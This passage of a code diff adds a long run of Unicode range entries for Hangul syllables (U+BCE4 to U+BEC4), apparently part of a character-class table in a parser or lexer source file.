+ ["\uBCE4", "\uBCE4"], /* Hangul Syllable */
+ ["\uBCE5", "\uBCE5"], /* Hangul Syllable */
+ ["\uBCE6", "\uBCE6"], /* Hangul Syllable */
+ ["\uBCE7", "\uBCE7"], /* Hangul Syllable */
+ ["\uBCE8", "\uBCE8"], /* Hangul Syllable */
+ ["\uBCE9", "\uBCE9"], /* Hangul Syllable */
+ ["\uBCEA", "\uBCEA"], /* Hangul Syllable */
+ ["\uBCEB", "\uBCEB"], /* Hangul Syllable */
+ ["\uBCEC", "\uBCEC"], /* Hangul Syllable */
+ ["\uBCED", "\uBCED"], /* Hangul Syllable */
+ ["\uBCEE", "\uBCEE"], /* Hangul Syllable */
+ ["\uBCEF", "\uBCEF"], /* Hangul Syllable */
+ ["\uBCF0", "\uBCF0"], /* Hangul Syllable */
+ ["\uBCF1", "\uBCF1"], /* Hangul Syllable */
+ ["\uBCF2", "\uBCF2"], /* Hangul Syllable */
+ ["\uBCF3", "\uBCF3"], /* Hangul Syllable */
+ ["\uBCF4", "\uBCF4"], /* Hangul Syllable */
+ ["\uBCF5", "\uBCF5"], /* Hangul Syllable */
+ ["\uBCF6", "\uBCF6"], /* Hangul Syllable */
+ ["\uBCF7", "\uBCF7"], /* Hangul Syllable */
+ ["\uBCF8", "\uBCF8"], /* Hangul Syllable */
+ ["\uBCF9", "\uBCF9"], /* Hangul Syllable */
+ ["\uBCFA", "\uBCFA"], /* Hangul Syllable */
+ ["\uBCFB", "\uBCFB"], /* Hangul Syllable */
+ ["\uBCFC", "\uBCFC"], /* Hangul Syllable */
+ ["\uBCFD", "\uBCFD"], /* Hangul Syllable */
+ ["\uBCFE", "\uBCFE"], /* Hangul Syllable */
+ ["\uBCFF", "\uBCFF"], /* Hangul Syllable */
+ ["\uBD00", "\uBD00"], /* Hangul Syllable */
+ ["\uBD01", "\uBD01"], /* Hangul Syllable */
+ ["\uBD02", "\uBD02"], /* Hangul Syllable */
+ ["\uBD03", "\uBD03"], /* Hangul Syllable */
+ ["\uBD04", "\uBD04"], /* Hangul Syllable */
+ ["\uBD05", "\uBD05"], /* Hangul Syllable */
+ ["\uBD06", "\uBD06"], /* Hangul Syllable */
+ ["\uBD07", "\uBD07"], /* Hangul Syllable */
+ ["\uBD08", "\uBD08"], /* Hangul Syllable */
+ ["\uBD09", "\uBD09"], /* Hangul Syllable */
+ ["\uBD0A", "\uBD0A"], /* Hangul Syllable */
+ ["\uBD0B", "\uBD0B"], /* Hangul Syllable */
+ ["\uBD0C", "\uBD0C"], /* Hangul Syllable */
+ ["\uBD0D", "\uBD0D"], /* Hangul Syllable */
+ ["\uBD0E", "\uBD0E"], /* Hangul Syllable */
+ ["\uBD0F", "\uBD0F"], /* Hangul Syllable */
+ ["\uBD10", "\uBD10"], /* Hangul Syllable */
+ ["\uBD11", "\uBD11"], /* Hangul Syllable */
+ ["\uBD12", "\uBD12"], /* Hangul Syllable */
+ ["\uBD13", "\uBD13"], /* Hangul Syllable */
+ ["\uBD14", "\uBD14"], /* Hangul Syllable */
+ ["\uBD15", "\uBD15"], /* Hangul Syllable */
+ ["\uBD16", "\uBD16"], /* Hangul Syllable */
+ ["\uBD17", "\uBD17"], /* Hangul Syllable */
+ ["\uBD18", "\uBD18"], /* Hangul Syllable */
+ ["\uBD19", "\uBD19"], /* Hangul Syllable */
+ ["\uBD1A", "\uBD1A"], /* Hangul Syllable */
+ ["\uBD1B", "\uBD1B"], /* Hangul Syllable */
+ ["\uBD1C", "\uBD1C"], /* Hangul Syllable */
+ ["\uBD1D", "\uBD1D"], /* Hangul Syllable */
+ ["\uBD1E", "\uBD1E"], /* Hangul Syllable */
+ ["\uBD1F", "\uBD1F"], /* Hangul Syllable */
+ ["\uBD20", "\uBD20"], /* Hangul Syllable */
+ ["\uBD21", "\uBD21"], /* Hangul Syllable */
+ ["\uBD22", "\uBD22"], /* Hangul Syllable */
+ ["\uBD23", "\uBD23"], /* Hangul Syllable */
+ ["\uBD24", "\uBD24"], /* Hangul Syllable */
+ ["\uBD25", "\uBD25"], /* Hangul Syllable */
+ ["\uBD26", "\uBD26"], /* Hangul Syllable */
+ ["\uBD27", "\uBD27"], /* Hangul Syllable */
+ ["\uBD28", "\uBD28"], /* Hangul Syllable */
+ ["\uBD29", "\uBD29"], /* Hangul Syllable */
+ ["\uBD2A", "\uBD2A"], /* Hangul Syllable */
+ ["\uBD2B", "\uBD2B"], /* Hangul Syllable */
+ ["\uBD2C", "\uBD2C"], /* Hangul Syllable */
+ ["\uBD2D", "\uBD2D"], /* Hangul Syllable */
+ ["\uBD2E", "\uBD2E"], /* Hangul Syllable */
+ ["\uBD2F", "\uBD2F"], /* Hangul Syllable */
+ ["\uBD30", "\uBD30"], /* Hangul Syllable */
+ ["\uBD31", "\uBD31"], /* Hangul Syllable */
+ ["\uBD32", "\uBD32"], /* Hangul Syllable */
+ ["\uBD33", "\uBD33"], /* Hangul Syllable */
+ ["\uBD34", "\uBD34"], /* Hangul Syllable */
+ ["\uBD35", "\uBD35"], /* Hangul Syllable */
+ ["\uBD36", "\uBD36"], /* Hangul Syllable */
+ ["\uBD37", "\uBD37"], /* Hangul Syllable */
+ ["\uBD38", "\uBD38"], /* Hangul Syllable */
+ ["\uBD39", "\uBD39"], /* Hangul Syllable */
+ ["\uBD3A", "\uBD3A"], /* Hangul Syllable */
+ ["\uBD3B", "\uBD3B"], /* Hangul Syllable */
+ ["\uBD3C", "\uBD3C"], /* Hangul Syllable */
+ ["\uBD3D", "\uBD3D"], /* Hangul Syllable */
+ ["\uBD3E", "\uBD3E"], /* Hangul Syllable */
+ ["\uBD3F", "\uBD3F"], /* Hangul Syllable */
+ ["\uBD40", "\uBD40"], /* Hangul Syllable */
+ ["\uBD41", "\uBD41"], /* Hangul Syllable */
+ ["\uBD42", "\uBD42"], /* Hangul Syllable */
+ ["\uBD43", "\uBD43"], /* Hangul Syllable */
+ ["\uBD44", "\uBD44"], /* Hangul Syllable */
+ ["\uBD45", "\uBD45"], /* Hangul Syllable */
+ ["\uBD46", "\uBD46"], /* Hangul Syllable */
+ ["\uBD47", "\uBD47"], /* Hangul Syllable */
+ ["\uBD48", "\uBD48"], /* Hangul Syllable */
+ ["\uBD49", "\uBD49"], /* Hangul Syllable */
+ ["\uBD4A", "\uBD4A"], /* Hangul Syllable */
+ ["\uBD4B", "\uBD4B"], /* Hangul Syllable */
+ ["\uBD4C", "\uBD4C"], /* Hangul Syllable */
+ ["\uBD4D", "\uBD4D"], /* Hangul Syllable */
+ ["\uBD4E", "\uBD4E"], /* Hangul Syllable */
+ ["\uBD4F", "\uBD4F"], /* Hangul Syllable */
+ ["\uBD50", "\uBD50"], /* Hangul Syllable */
+ ["\uBD51", "\uBD51"], /* Hangul Syllable */
+ ["\uBD52", "\uBD52"], /* Hangul Syllable */
+ ["\uBD53", "\uBD53"], /* Hangul Syllable */
+ ["\uBD54", "\uBD54"], /* Hangul Syllable */
+ ["\uBD55", "\uBD55"], /* Hangul Syllable */
+ ["\uBD56", "\uBD56"], /* Hangul Syllable */
+ ["\uBD57", "\uBD57"], /* Hangul Syllable */
+ ["\uBD58", "\uBD58"], /* Hangul Syllable */
+ ["\uBD59", "\uBD59"], /* Hangul Syllable */
+ ["\uBD5A", "\uBD5A"], /* Hangul Syllable */
+ ["\uBD5B", "\uBD5B"], /* Hangul Syllable */
+ ["\uBD5C", "\uBD5C"], /* Hangul Syllable */
+ ["\uBD5D", "\uBD5D"], /* Hangul Syllable */
+ ["\uBD5E", "\uBD5E"], /* Hangul Syllable */
+ ["\uBD5F", "\uBD5F"], /* Hangul Syllable */
+ ["\uBD60", "\uBD60"], /* Hangul Syllable */
+ ["\uBD61", "\uBD61"], /* Hangul Syllable */
+ ["\uBD62", "\uBD62"], /* Hangul Syllable */
+ ["\uBD63", "\uBD63"], /* Hangul Syllable */
+ ["\uBD64", "\uBD64"], /* Hangul Syllable */
+ ["\uBD65", "\uBD65"], /* Hangul Syllable */
+ ["\uBD66", "\uBD66"], /* Hangul Syllable */
+ ["\uBD67", "\uBD67"], /* Hangul Syllable */
+ ["\uBD68", "\uBD68"], /* Hangul Syllable */
+ ["\uBD69", "\uBD69"], /* Hangul Syllable */
+ ["\uBD6A", "\uBD6A"], /* Hangul Syllable */
+ ["\uBD6B", "\uBD6B"], /* Hangul Syllable */
+ ["\uBD6C", "\uBD6C"], /* Hangul Syllable */
+ ["\uBD6D", "\uBD6D"], /* Hangul Syllable */
+ ["\uBD6E", "\uBD6E"], /* Hangul Syllable */
+ ["\uBD6F", "\uBD6F"], /* Hangul Syllable */
+ ["\uBD70", "\uBD70"], /* Hangul Syllable */
+ ["\uBD71", "\uBD71"], /* Hangul Syllable */
+ ["\uBD72", "\uBD72"], /* Hangul Syllable */
+ ["\uBD73", "\uBD73"], /* Hangul Syllable */
+ ["\uBD74", "\uBD74"], /* Hangul Syllable */
+ ["\uBD75", "\uBD75"], /* Hangul Syllable */
+ ["\uBD76", "\uBD76"], /* Hangul Syllable */
+ ["\uBD77", "\uBD77"], /* Hangul Syllable */
+ ["\uBD78", "\uBD78"], /* Hangul Syllable */
+ ["\uBD79", "\uBD79"], /* Hangul Syllable */
+ ["\uBD7A", "\uBD7A"], /* Hangul Syllable */
+ ["\uBD7B", "\uBD7B"], /* Hangul Syllable */
+ ["\uBD7C", "\uBD7C"], /* Hangul Syllable */
+ ["\uBD7D", "\uBD7D"], /* Hangul Syllable */
+ ["\uBD7E", "\uBD7E"], /* Hangul Syllable */
+ ["\uBD7F", "\uBD7F"], /* Hangul Syllable */
+ ["\uBD80", "\uBD80"], /* Hangul Syllable */
+ ["\uBD81", "\uBD81"], /* Hangul Syllable */
+ ["\uBD82", "\uBD82"], /* Hangul Syllable */
+ ["\uBD83", "\uBD83"], /* Hangul Syllable */
+ ["\uBD84", "\uBD84"], /* Hangul Syllable */
+ ["\uBD85", "\uBD85"], /* Hangul Syllable */
+ ["\uBD86", "\uBD86"], /* Hangul Syllable */
+ ["\uBD87", "\uBD87"], /* Hangul Syllable */
+ ["\uBD88", "\uBD88"], /* Hangul Syllable */
+ ["\uBD89", "\uBD89"], /* Hangul Syllable */
+ ["\uBD8A", "\uBD8A"], /* Hangul Syllable */
+ ["\uBD8B", "\uBD8B"], /* Hangul Syllable */
+ ["\uBD8C", "\uBD8C"], /* Hangul Syllable */
+ ["\uBD8D", "\uBD8D"], /* Hangul Syllable */
+ ["\uBD8E", "\uBD8E"], /* Hangul Syllable */
+ ["\uBD8F", "\uBD8F"], /* Hangul Syllable */
+ ["\uBD90", "\uBD90"], /* Hangul Syllable */
+ ["\uBD91", "\uBD91"], /* Hangul Syllable */
+ ["\uBD92", "\uBD92"], /* Hangul Syllable */
+ ["\uBD93", "\uBD93"], /* Hangul Syllable */
+ ["\uBD94", "\uBD94"], /* Hangul Syllable */
+ ["\uBD95", "\uBD95"], /* Hangul Syllable */
+ ["\uBD96", "\uBD96"], /* Hangul Syllable */
+ ["\uBD97", "\uBD97"], /* Hangul Syllable */
+ ["\uBD98", "\uBD98"], /* Hangul Syllable */
+ ["\uBD99", "\uBD99"], /* Hangul Syllable */
+ ["\uBD9A", "\uBD9A"], /* Hangul Syllable */
+ ["\uBD9B", "\uBD9B"], /* Hangul Syllable */
+ ["\uBD9C", "\uBD9C"], /* Hangul Syllable */
+ ["\uBD9D", "\uBD9D"], /* Hangul Syllable */
+ ["\uBD9E", "\uBD9E"], /* Hangul Syllable */
+ ["\uBD9F", "\uBD9F"], /* Hangul Syllable */
+ ["\uBDA0", "\uBDA0"], /* Hangul Syllable */
+ ["\uBDA1", "\uBDA1"], /* Hangul Syllable */
+ ["\uBDA2", "\uBDA2"], /* Hangul Syllable */
+ ["\uBDA3", "\uBDA3"], /* Hangul Syllable */
+ ["\uBDA4", "\uBDA4"], /* Hangul Syllable */
+ ["\uBDA5", "\uBDA5"], /* Hangul Syllable */
+ ["\uBDA6", "\uBDA6"], /* Hangul Syllable */
+ ["\uBDA7", "\uBDA7"], /* Hangul Syllable */
+ ["\uBDA8", "\uBDA8"], /* Hangul Syllable */
+ ["\uBDA9", "\uBDA9"], /* Hangul Syllable */
+ ["\uBDAA", "\uBDAA"], /* Hangul Syllable */
+ ["\uBDAB", "\uBDAB"], /* Hangul Syllable */
+ ["\uBDAC", "\uBDAC"], /* Hangul Syllable */
+ ["\uBDAD", "\uBDAD"], /* Hangul Syllable */
+ ["\uBDAE", "\uBDAE"], /* Hangul Syllable */
+ ["\uBDAF", "\uBDAF"], /* Hangul Syllable */
+ ["\uBDB0", "\uBDB0"], /* Hangul Syllable */
+ ["\uBDB1", "\uBDB1"], /* Hangul Syllable */
+ ["\uBDB2", "\uBDB2"], /* Hangul Syllable */
+ ["\uBDB3", "\uBDB3"], /* Hangul Syllable */
+ ["\uBDB4", "\uBDB4"], /* Hangul Syllable */
+ ["\uBDB5", "\uBDB5"], /* Hangul Syllable */
+ ["\uBDB6", "\uBDB6"], /* Hangul Syllable */
+ ["\uBDB7", "\uBDB7"], /* Hangul Syllable */
+ ["\uBDB8", "\uBDB8"], /* Hangul Syllable */
+ ["\uBDB9", "\uBDB9"], /* Hangul Syllable */
+ ["\uBDBA", "\uBDBA"], /* Hangul Syllable */
+ ["\uBDBB", "\uBDBB"], /* Hangul Syllable */
+ ["\uBDBC", "\uBDBC"], /* Hangul Syllable */
+ ["\uBDBD", "\uBDBD"], /* Hangul Syllable */
+ ["\uBDBE", "\uBDBE"], /* Hangul Syllable */
+ ["\uBDBF", "\uBDBF"], /* Hangul Syllable */
+ ["\uBDC0", "\uBDC0"], /* Hangul Syllable */
+ ["\uBDC1", "\uBDC1"], /* Hangul Syllable */
+ ["\uBDC2", "\uBDC2"], /* Hangul Syllable */
+ ["\uBDC3", "\uBDC3"], /* Hangul Syllable */
+ ["\uBDC4", "\uBDC4"], /* Hangul Syllable */
+ ["\uBDC5", "\uBDC5"], /* Hangul Syllable */
+ ["\uBDC6", "\uBDC6"], /* Hangul Syllable */
+ ["\uBDC7", "\uBDC7"], /* Hangul Syllable */
+ ["\uBDC8", "\uBDC8"], /* Hangul Syllable */
+ ["\uBDC9", "\uBDC9"], /* Hangul Syllable */
+ ["\uBDCA", "\uBDCA"], /* Hangul Syllable */
+ ["\uBDCB", "\uBDCB"], /* Hangul Syllable */
+ ["\uBDCC", "\uBDCC"], /* Hangul Syllable */
+ ["\uBDCD", "\uBDCD"], /* Hangul Syllable */
+ ["\uBDCE", "\uBDCE"], /* Hangul Syllable */
+ ["\uBDCF", "\uBDCF"], /* Hangul Syllable */
+ ["\uBDD0", "\uBDD0"], /* Hangul Syllable */
+ ["\uBDD1", "\uBDD1"], /* Hangul Syllable */
+ ["\uBDD2", "\uBDD2"], /* Hangul Syllable */
+ ["\uBDD3", "\uBDD3"], /* Hangul Syllable */
+ ["\uBDD4", "\uBDD4"], /* Hangul Syllable */
+ ["\uBDD5", "\uBDD5"], /* Hangul Syllable */
+ ["\uBDD6", "\uBDD6"], /* Hangul Syllable */
+ ["\uBDD7", "\uBDD7"], /* Hangul Syllable */
+ ["\uBDD8", "\uBDD8"], /* Hangul Syllable */
+ ["\uBDD9", "\uBDD9"], /* Hangul Syllable */
+ ["\uBDDA", "\uBDDA"], /* Hangul Syllable */
+ ["\uBDDB", "\uBDDB"], /* Hangul Syllable */
+ ["\uBDDC", "\uBDDC"], /* Hangul Syllable */
+ ["\uBDDD", "\uBDDD"], /* Hangul Syllable */
+ ["\uBDDE", "\uBDDE"], /* Hangul Syllable */
+ ["\uBDDF", "\uBDDF"], /* Hangul Syllable */
+ ["\uBDE0", "\uBDE0"], /* Hangul Syllable */
+ ["\uBDE1", "\uBDE1"], /* Hangul Syllable */
+ ["\uBDE2", "\uBDE2"], /* Hangul Syllable */
+ ["\uBDE3", "\uBDE3"], /* Hangul Syllable */
+ ["\uBDE4", "\uBDE4"], /* Hangul Syllable */
+ ["\uBDE5", "\uBDE5"], /* Hangul Syllable */
+ ["\uBDE6", "\uBDE6"], /* Hangul Syllable */
+ ["\uBDE7", "\uBDE7"], /* Hangul Syllable */
+ ["\uBDE8", "\uBDE8"], /* Hangul Syllable */
+ ["\uBDE9", "\uBDE9"], /* Hangul Syllable */
+ ["\uBDEA", "\uBDEA"], /* Hangul Syllable */
+ ["\uBDEB", "\uBDEB"], /* Hangul Syllable */
+ ["\uBDEC", "\uBDEC"], /* Hangul Syllable */
+ ["\uBDED", "\uBDED"], /* Hangul Syllable */
+ ["\uBDEE", "\uBDEE"], /* Hangul Syllable */
+ ["\uBDEF", "\uBDEF"], /* Hangul Syllable */
+ ["\uBDF0", "\uBDF0"], /* Hangul Syllable */
+ ["\uBDF1", "\uBDF1"], /* Hangul Syllable */
+ ["\uBDF2", "\uBDF2"], /* Hangul Syllable */
+ ["\uBDF3", "\uBDF3"], /* Hangul Syllable */
+ ["\uBDF4", "\uBDF4"], /* Hangul Syllable */
+ ["\uBDF5", "\uBDF5"], /* Hangul Syllable */
+ ["\uBDF6", "\uBDF6"], /* Hangul Syllable */
+ ["\uBDF7", "\uBDF7"], /* Hangul Syllable */
+ ["\uBDF8", "\uBDF8"], /* Hangul Syllable */
+ ["\uBDF9", "\uBDF9"], /* Hangul Syllable */
+ ["\uBDFA", "\uBDFA"], /* Hangul Syllable */
+ ["\uBDFB", "\uBDFB"], /* Hangul Syllable */
+ ["\uBDFC", "\uBDFC"], /* Hangul Syllable */
+ ["\uBDFD", "\uBDFD"], /* Hangul Syllable */
+ ["\uBDFE", "\uBDFE"], /* Hangul Syllable */
+ ["\uBDFF", "\uBDFF"], /* Hangul Syllable */
+ ["\uBE00", "\uBE00"], /* Hangul Syllable */
+ ["\uBE01", "\uBE01"], /* Hangul Syllable */
+ ["\uBE02", "\uBE02"], /* Hangul Syllable */
+ ["\uBE03", "\uBE03"], /* Hangul Syllable */
+ ["\uBE04", "\uBE04"], /* Hangul Syllable */
+ ["\uBE05", "\uBE05"], /* Hangul Syllable */
+ ["\uBE06", "\uBE06"], /* Hangul Syllable */
+ ["\uBE07", "\uBE07"], /* Hangul Syllable */
+ ["\uBE08", "\uBE08"], /* Hangul Syllable */
+ ["\uBE09", "\uBE09"], /* Hangul Syllable */
+ ["\uBE0A", "\uBE0A"], /* Hangul Syllable */
+ ["\uBE0B", "\uBE0B"], /* Hangul Syllable */
+ ["\uBE0C", "\uBE0C"], /* Hangul Syllable */
+ ["\uBE0D", "\uBE0D"], /* Hangul Syllable */
+ ["\uBE0E", "\uBE0E"], /* Hangul Syllable */
+ ["\uBE0F", "\uBE0F"], /* Hangul Syllable */
+ ["\uBE10", "\uBE10"], /* Hangul Syllable */
+ ["\uBE11", "\uBE11"], /* Hangul Syllable */
+ ["\uBE12", "\uBE12"], /* Hangul Syllable */
+ ["\uBE13", "\uBE13"], /* Hangul Syllable */
+ ["\uBE14", "\uBE14"], /* Hangul Syllable */
+ ["\uBE15", "\uBE15"], /* Hangul Syllable */
+ ["\uBE16", "\uBE16"], /* Hangul Syllable */
+ ["\uBE17", "\uBE17"], /* Hangul Syllable */
+ ["\uBE18", "\uBE18"], /* Hangul Syllable */
+ ["\uBE19", "\uBE19"], /* Hangul Syllable */
+ ["\uBE1A", "\uBE1A"], /* Hangul Syllable */
+ ["\uBE1B", "\uBE1B"], /* Hangul Syllable */
+ ["\uBE1C", "\uBE1C"], /* Hangul Syllable */
+ ["\uBE1D", "\uBE1D"], /* Hangul Syllable */
+ ["\uBE1E", "\uBE1E"], /* Hangul Syllable */
+ ["\uBE1F", "\uBE1F"], /* Hangul Syllable */
+ ["\uBE20", "\uBE20"], /* Hangul Syllable */
+ ["\uBE21", "\uBE21"], /* Hangul Syllable */
+ ["\uBE22", "\uBE22"], /* Hangul Syllable */
+ ["\uBE23", "\uBE23"], /* Hangul Syllable */
+ ["\uBE24", "\uBE24"], /* Hangul Syllable */
+ ["\uBE25", "\uBE25"], /* Hangul Syllable */
+ ["\uBE26", "\uBE26"], /* Hangul Syllable */
+ ["\uBE27", "\uBE27"], /* Hangul Syllable */
+ ["\uBE28", "\uBE28"], /* Hangul Syllable */
+ ["\uBE29", "\uBE29"], /* Hangul Syllable */
+ ["\uBE2A", "\uBE2A"], /* Hangul Syllable */
+ ["\uBE2B", "\uBE2B"], /* Hangul Syllable */
+ ["\uBE2C", "\uBE2C"], /* Hangul Syllable */
+ ["\uBE2D", "\uBE2D"], /* Hangul Syllable */
+ ["\uBE2E", "\uBE2E"], /* Hangul Syllable */
+ ["\uBE2F", "\uBE2F"], /* Hangul Syllable */
+ ["\uBE30", "\uBE30"], /* Hangul Syllable */
+ ["\uBE31", "\uBE31"], /* Hangul Syllable */
+ ["\uBE32", "\uBE32"], /* Hangul Syllable */
+ ["\uBE33", "\uBE33"], /* Hangul Syllable */
+ ["\uBE34", "\uBE34"], /* Hangul Syllable */
+ ["\uBE35", "\uBE35"], /* Hangul Syllable */
+ ["\uBE36", "\uBE36"], /* Hangul Syllable */
+ ["\uBE37", "\uBE37"], /* Hangul Syllable */
+ ["\uBE38", "\uBE38"], /* Hangul Syllable */
+ ["\uBE39", "\uBE39"], /* Hangul Syllable */
+ ["\uBE3A", "\uBE3A"], /* Hangul Syllable */
+ ["\uBE3B", "\uBE3B"], /* Hangul Syllable */
+ ["\uBE3C", "\uBE3C"], /* Hangul Syllable */
+ ["\uBE3D", "\uBE3D"], /* Hangul Syllable */
+ ["\uBE3E", "\uBE3E"], /* Hangul Syllable */
+ ["\uBE3F", "\uBE3F"], /* Hangul Syllable */
+ ["\uBE40", "\uBE40"], /* Hangul Syllable */
+ ["\uBE41", "\uBE41"], /* Hangul Syllable */
+ ["\uBE42", "\uBE42"], /* Hangul Syllable */
+ ["\uBE43", "\uBE43"], /* Hangul Syllable */
+ ["\uBE44", "\uBE44"], /* Hangul Syllable */
+ ["\uBE45", "\uBE45"], /* Hangul Syllable */
+ ["\uBE46", "\uBE46"], /* Hangul Syllable */
+ ["\uBE47", "\uBE47"], /* Hangul Syllable */
+ ["\uBE48", "\uBE48"], /* Hangul Syllable */
+ ["\uBE49", "\uBE49"], /* Hangul Syllable */
+ ["\uBE4A", "\uBE4A"], /* Hangul Syllable */
+ ["\uBE4B", "\uBE4B"], /* Hangul Syllable */
+ ["\uBE4C", "\uBE4C"], /* Hangul Syllable */
+ ["\uBE4D", "\uBE4D"], /* Hangul Syllable */
+ ["\uBE4E", "\uBE4E"], /* Hangul Syllable */
+ ["\uBE4F", "\uBE4F"], /* Hangul Syllable */
+ ["\uBE50", "\uBE50"], /* Hangul Syllable */
+ ["\uBE51", "\uBE51"], /* Hangul Syllable */
+ ["\uBE52", "\uBE52"], /* Hangul Syllable */
+ ["\uBE53", "\uBE53"], /* Hangul Syllable */
+ ["\uBE54", "\uBE54"], /* Hangul Syllable */
+ ["\uBE55", "\uBE55"], /* Hangul Syllable */
+ ["\uBE56", "\uBE56"], /* Hangul Syllable */
+ ["\uBE57", "\uBE57"], /* Hangul Syllable */
+ ["\uBE58", "\uBE58"], /* Hangul Syllable */
+ ["\uBE59", "\uBE59"], /* Hangul Syllable */
+ ["\uBE5A", "\uBE5A"], /* Hangul Syllable */
+ ["\uBE5B", "\uBE5B"], /* Hangul Syllable */
+ ["\uBE5C", "\uBE5C"], /* Hangul Syllable */
+ ["\uBE5D", "\uBE5D"], /* Hangul Syllable */
+ ["\uBE5E", "\uBE5E"], /* Hangul Syllable */
+ ["\uBE5F", "\uBE5F"], /* Hangul Syllable */
+ ["\uBE60", "\uBE60"], /* Hangul Syllable */
+ ["\uBE61", "\uBE61"], /* Hangul Syllable */
+ ["\uBE62", "\uBE62"], /* Hangul Syllable */
+ ["\uBE63", "\uBE63"], /* Hangul Syllable */
+ ["\uBE64", "\uBE64"], /* Hangul Syllable */
+ ["\uBE65", "\uBE65"], /* Hangul Syllable */
+ ["\uBE66", "\uBE66"], /* Hangul Syllable */
+ ["\uBE67", "\uBE67"], /* Hangul Syllable */
+ ["\uBE68", "\uBE68"], /* Hangul Syllable */
+ ["\uBE69", "\uBE69"], /* Hangul Syllable */
+ ["\uBE6A", "\uBE6A"], /* Hangul Syllable */
+ ["\uBE6B", "\uBE6B"], /* Hangul Syllable */
+ ["\uBE6C", "\uBE6C"], /* Hangul Syllable */
+ ["\uBE6D", "\uBE6D"], /* Hangul Syllable */
+ ["\uBE6E", "\uBE6E"], /* Hangul Syllable */
+ ["\uBE6F", "\uBE6F"], /* Hangul Syllable */
+ ["\uBE70", "\uBE70"], /* Hangul Syllable */
+ ["\uBE71", "\uBE71"], /* Hangul Syllable */
+ ["\uBE72", "\uBE72"], /* Hangul Syllable */
+ ["\uBE73", "\uBE73"], /* Hangul Syllable */
+ ["\uBE74", "\uBE74"], /* Hangul Syllable */
+ ["\uBE75", "\uBE75"], /* Hangul Syllable */
+ ["\uBE76", "\uBE76"], /* Hangul Syllable */
+ ["\uBE77", "\uBE77"], /* Hangul Syllable */
+ ["\uBE78", "\uBE78"], /* Hangul Syllable */
+ ["\uBE79", "\uBE79"], /* Hangul Syllable */
+ ["\uBE7A", "\uBE7A"], /* Hangul Syllable */
+ ["\uBE7B", "\uBE7B"], /* Hangul Syllable */
+ ["\uBE7C", "\uBE7C"], /* Hangul Syllable */
+ ["\uBE7D", "\uBE7D"], /* Hangul Syllable */
+ ["\uBE7E", "\uBE7E"], /* Hangul Syllable */
+ ["\uBE7F", "\uBE7F"], /* Hangul Syllable */
+ ["\uBE80", "\uBE80"], /* Hangul Syllable */
+ ["\uBE81", "\uBE81"], /* Hangul Syllable */
+ ["\uBE82", "\uBE82"], /* Hangul Syllable */
+ ["\uBE83", "\uBE83"], /* Hangul Syllable */
+ ["\uBE84", "\uBE84"], /* Hangul Syllable */
+ ["\uBE85", "\uBE85"], /* Hangul Syllable */
+ ["\uBE86", "\uBE86"], /* Hangul Syllable */
+ ["\uBE87", "\uBE87"], /* Hangul Syllable */
+ ["\uBE88", "\uBE88"], /* Hangul Syllable */
+ ["\uBE89", "\uBE89"], /* Hangul Syllable */
+ ["\uBE8A", "\uBE8A"], /* Hangul Syllable */
+ ["\uBE8B", "\uBE8B"], /* Hangul Syllable */
+ ["\uBE8C", "\uBE8C"], /* Hangul Syllable */
+ ["\uBE8D", "\uBE8D"], /* Hangul Syllable */
+ ["\uBE8E", "\uBE8E"], /* Hangul Syllable */
+ ["\uBE8F", "\uBE8F"], /* Hangul Syllable */
+ ["\uBE90", "\uBE90"], /* Hangul Syllable */
+ ["\uBE91", "\uBE91"], /* Hangul Syllable */
+ ["\uBE92", "\uBE92"], /* Hangul Syllable */
+ ["\uBE93", "\uBE93"], /* Hangul Syllable */
+ ["\uBE94", "\uBE94"], /* Hangul Syllable */
+ ["\uBE95", "\uBE95"], /* Hangul Syllable */
+ ["\uBE96", "\uBE96"], /* Hangul Syllable */
+ ["\uBE97", "\uBE97"], /* Hangul Syllable */
+ ["\uBE98", "\uBE98"], /* Hangul Syllable */
+ ["\uBE99", "\uBE99"], /* Hangul Syllable */
+ ["\uBE9A", "\uBE9A"], /* Hangul Syllable */
+ ["\uBE9B", "\uBE9B"], /* Hangul Syllable */
+ ["\uBE9C", "\uBE9C"], /* Hangul Syllable */
+ ["\uBE9D", "\uBE9D"], /* Hangul Syllable */
+ ["\uBE9E", "\uBE9E"], /* Hangul Syllable */
+ ["\uBE9F", "\uBE9F"], /* Hangul Syllable */
+ ["\uBEA0", "\uBEA0"], /* Hangul Syllable */
+ ["\uBEA1", "\uBEA1"], /* Hangul Syllable */
+ ["\uBEA2", "\uBEA2"], /* Hangul Syllable */
+ ["\uBEA3", "\uBEA3"], /* Hangul Syllable */
+ ["\uBEA4", "\uBEA4"], /* Hangul Syllable */
+ ["\uBEA5", "\uBEA5"], /* Hangul Syllable */
+ ["\uBEA6", "\uBEA6"], /* Hangul Syllable */
+ ["\uBEA7", "\uBEA7"], /* Hangul Syllable */
+ ["\uBEA8", "\uBEA8"], /* Hangul Syllable */
+ ["\uBEA9", "\uBEA9"], /* Hangul Syllable */
+ ["\uBEAA", "\uBEAA"], /* Hangul Syllable */
+ ["\uBEAB", "\uBEAB"], /* Hangul Syllable */
+ ["\uBEAC", "\uBEAC"], /* Hangul Syllable */
+ ["\uBEAD", "\uBEAD"], /* Hangul Syllable */
+ ["\uBEAE", "\uBEAE"], /* Hangul Syllable */
+ ["\uBEAF", "\uBEAF"], /* Hangul Syllable */
+ ["\uBEB0", "\uBEB0"], /* Hangul Syllable */
+ ["\uBEB1", "\uBEB1"], /* Hangul Syllable */
+ ["\uBEB2", "\uBEB2"], /* Hangul Syllable */
+ ["\uBEB3", "\uBEB3"], /* Hangul Syllable */
+ ["\uBEB4", "\uBEB4"], /* Hangul Syllable */
+ ["\uBEB5", "\uBEB5"], /* Hangul Syllable */
+ ["\uBEB6", "\uBEB6"], /* Hangul Syllable */
+ ["\uBEB7", "\uBEB7"], /* Hangul Syllable */
+ ["\uBEB8", "\uBEB8"], /* Hangul Syllable */
+ ["\uBEB9", "\uBEB9"], /* Hangul Syllable */
+ ["\uBEBA", "\uBEBA"], /* Hangul Syllable */
+ ["\uBEBB", "\uBEBB"], /* Hangul Syllable */
+ ["\uBEBC", "\uBEBC"], /* Hangul Syllable */
+ ["\uBEBD", "\uBEBD"], /* Hangul Syllable */
+ ["\uBEBE", "\uBEBE"], /* Hangul Syllable */
+ ["\uBEBF", "\uBEBF"], /* Hangul Syllable */
+ ["\uBEC0", "\uBEC0"], /* Hangul Syllable */
+ ["\uBEC1", "\uBEC1"], /* Hangul Syllable */
+ ["\uBEC2", "\uBEC2"], /* Hangul Syllable */
+ ["\uBEC3", "\uBEC3"], /* Hangul Syllable */
+ ["\uBEC4", "\uBEC4"], /* Hangul Syllable */
